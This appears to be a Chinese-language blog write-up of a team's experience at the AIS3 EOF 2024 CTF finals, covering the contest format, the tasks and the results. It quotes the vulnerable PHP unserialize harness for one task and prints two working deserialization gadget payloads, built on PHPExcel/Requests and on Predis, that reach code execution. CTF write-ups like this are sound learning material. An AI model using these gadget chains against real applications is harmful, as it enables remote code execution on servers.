AIS3-EOF-2024-Final

2024-03-10

Author : 堇姬Naup
Team : 不屬於Kirito的星爆氣流斬
Rank : 4 (差一點第三,可惜)
Teammates : Curious、Itiscaleb、Aukro、ShallowFeather、Chumy、TWNWAKing、Vincent(感恩隊友們一起努力了兩天orz)

Final scoreboard

賽制

這次總共有163 round,每round是五分鐘,用積分去以百分比的方式去算分,這次總共有三種不同的類型。

Attack & Defense

  • hahamut
  • casino

KoH

  • rush-p0pp3r
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
TL;DR: 找到網路上隨便一個 composer package 裡的反序列化 RCE gadget,越好用+越短越好。

你可以安裝任意一個存在的 composer package,目標是找到一個能執行任意 function 的反序列化 gadget

你需要使用 p0pp3r_win function 來執行 ./@ --give-me-flag 指令

只有 p0pp3r_win 是有效的目標,其他任何的 function 都不會被計分系統接受,就算其能成功達成 RCE

你的 payload 中必須至少使用到一個直接屬於 package 的 namespace 裡的 class(根據 psr-0、psr-4 判斷)

對於每一個 package,只會存在一個最佳 gadget 能獲得分數,比較順位如下:

Gadget 依賴條件:毋需條件 > __toString > __call

Payload 長度:短的可以取代長的

Package 星星數越多,其價值分數越高

分數計算以執行完成的時刻為準,而非提交時間;若一個 payload 尚未執行完畢,無法嘗試第二個

一律安裝「2024/2/3 10:00 UTC+8 前」釋出的最新一個版本

執行環境為 docker 映像 php:cli,原始碼大致上如下:

<?php
require 'vendor/autoload.php';
function p0pp3r_win($command) {
system($command);
}
unserialize(PAYLOAD);

「自己懶得出題目,叫 GitHub 上的開發者幫我出」by splitline

  • ICPC

Pwn2own

  • Pwn2own

Day1

本次比賽我主要負責的是p0pp3r,順便有看了一下pwn2own跟hahamut,首先先說p0pp3r,看到這題目直覺先搞PHPGGC
https://github.com/ambionics/phpggc
應該可以找出兩條chain,一條是Monolog、一條是Larvel/Framework,不過手速太慢,開始解時已經被搶走了,之後就開始在找其他chain,首先可以用這個找網路上有的package
https://packagist.org/explore/

原本有找到WordPress/PHPExcel,不過judge吃不到這個package

1
O:17:"PHPExcel_RichText":1:{s:36:"PHPExcel_RichText_richTextElements";O:33:"Requests_Utility_FilteredIterator":4:{i:0;i:0;i:1;a:1:{i:0;s:18:"./@ --give-me-flag";}i:2;a:1:{s:11:"*callback";s:10:"p0pp3r_win";}i:3;N;}}

另外有找到timber/timber,但是最後送出去時因為版本問題judge沒辦法install下來QQ
https://github.com/timber/timber
偷偷爆個雷,結果在場有解的好像都用以前的gadget,好像沒人自己找www

那時候有看了一下pwn2own,有看到這個command injection,不過隊友那時候已經在解了,所以就交給隊友處理這題了,我們也順利的firstblood。

hahamut那題主要是Itiscaleb在打的,不過也趁這次第一次接觸A&D學會了怎麼上patch。

生成patch

1
bsdiff [old_file] [new_file] [patch_file]

上patch

1
bspatch [old_file] [patch_file] [patched_file]

Day2

第二天我就開始主攻p0pp3r,其他的就交給隊友
在過了四五個小時,整個king都沒人動過,整個狀況直到我找到了可以壓下一些byte的方法,搶下了king,超歡樂。(雖然有人撿漏把我的payload壓下了一個byte,一個回合就被搶走了,不過還是很讚)

1
b'O:34:"Predis\\Connection\\StreamConnection":1:{s:10:"parameters";O:28:"Predis\\Configuration\\Options":3:{s:7:"options";a:0:{}s:5:"input";a:1:{s:10:"persistent";a:2:{i:0;O:35:"Predis\\Cluster\\Distributor\\HashRing":2:{s:16:"nodeHashCallback";s:10:"p0pp3r_win";s:5:"nodes";a:1:{i:0;a:2:{s:6:"weight";i:1;s:6:"object";s:18:"./@ --give-me-flag";}}}i:1;s:7:"getSlot";}}s:8:"handlers";a:1:{s:10:"persistent";s:36:"Predis\\Configuration\\Option\\Commands";}}'

最後差900分左右就可以殺進第三,不過我們有拿到麵包超人獎(潛力獎)。

後記

  • 目前高二第一次打EOF,也是第一次進到決賽打這類題型,適應和熟悉花了快一天的時間,下次再來應該可以打得更好
  • 我原本以為pwn2own,是pwn,結果是web的爛洞大集合,早知道去看pwn2own,坐牢p0pp3r真的很哭。
  • 另外我第一次打原本以為上patch很難,結果只是幾行指令,所以就沒投太多心力去hahamut,不然應該也可以去找一些洞,來打別人的service。下次來打的時候,如果賽制沒改太多,應該會想去嘗試hahamut。
  • 最後再感謝一次我的隊友Curious、Itiscaleb、Aukro、ShallowFeather、Chumy、TWNWAKing、Vincent,一起努力了兩天